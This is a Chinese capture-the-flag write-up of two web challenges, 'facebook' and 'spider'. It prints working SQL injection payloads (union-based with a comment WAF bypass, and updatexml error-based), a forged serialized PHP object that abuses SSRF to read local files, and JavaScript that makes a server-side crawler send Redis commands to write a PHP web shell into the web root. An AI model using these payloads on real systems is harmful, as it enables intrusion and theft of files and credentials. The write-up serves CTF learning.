哈哈。传说中的pwn鼎杯来了,当时也没做出来什么,现在好好琢磨琢磨。
Web - facebook
首先还是看看网站有啥功能,大概就是一个可以注册登录的,写博客的地方
现在的题目迷惑性很大,不能被表面现象迷惑,猜不透到底是sql注入,还是什么。
从最开始的思路下手,robots git 和sql都试一下
git 无
robots得到信息如下:
发现有源码,下载下来读一下
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
没有什么太大的作用,不过记住最下面的正则匹配。
接着浏览一下,注意到网址格式如下:
有参数,说不定可以注入,使用sqlmap跑一下,或者手动测试一下,确实存在sql漏洞,但是union select被waf了
这是两个方法,一个是绕过union select,一个是用别的
爆表名
/view.php?no=-6 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆列名
/view.php?no=-6 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#
爆字段
/view.php?no=-6 union/**/select 1,data,3,4 from users#
或者是使用报错注入
爆表名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
得到结果竟然是一个序列化的值
那么大概的思路清楚了,我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。 、
function get($url)获取的blog连接,如果连接失败就404,否则读取文件信息。
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,直接人为构造联合查询返回语句,因为data字段在第四个位置,我们也需要这样:
/view.php?no=1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
即可得到flag的base64编码
解码即可,为了弄清楚到底怎么回事,可以在读取一下view.php
实际上就是取data后反序列化,然后获取链接到的内容
spider
可以理解大概的意思是获取我们提交的网址的内容,a标签的
<a href="http://www.w3school.com.cn">W3School</a>
老套路看看有没有源码泄露啥的
访问 robots.txt 发现存在 /get_sourcecode 文件
访问提示 NOT 127.0.0.1,那思路大概是有了,需要编网页让服务器帮我们读,使用js代码让其执行
通过服务器执行 JS 代码来访问 /get_sourcecode 文件
不得不说 这个用的还是挺频繁的 关于js的请求连接什么的
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
//判断系统版本,创建requst实例
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
//绑定事件 当状态变化时调用匿名函数 将返回结果写入到a标签中
//正好符合本网页的功能 将标签的innerHTML取出来就是我们要的结果
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
作者:wuli_decade
链接:https://www.jianshu.com/p/78dd400669db
得到的结果如下,文件的源码:
URL: http://127.0.0.1:80/upload/c97ddbd0-a6a3-11e8-b761-0242ac110184.html
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json
app = Flask(__name__ , static_url_path='')
def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data
def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)
@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''
@app.errorhandler(404)
def page_not_found(error):
return '404'
@app.errorhandler(500)
def internal_server_error(error):
return '500'
@app.errorhandler(403)
def unauthorized(error):
return '403'
if __name__ == '__main__':
pass
在hint所在的函数中,我们可以看出,大意是访问一个网页,采用post的方式上传一个文件,经过一些检测,存储到目录下,那么类似于webshell,我们需要上传写入一个shell,然后连接就可以了。
使用redis写入 shell,关于redis的知识已经在上一篇博客中特意更新了
<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
接着构造 JS 代码访问我们构造的PHP文件即可获得flag:
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
参考:
https://www.jianshu.com/c/ca8b1391ba41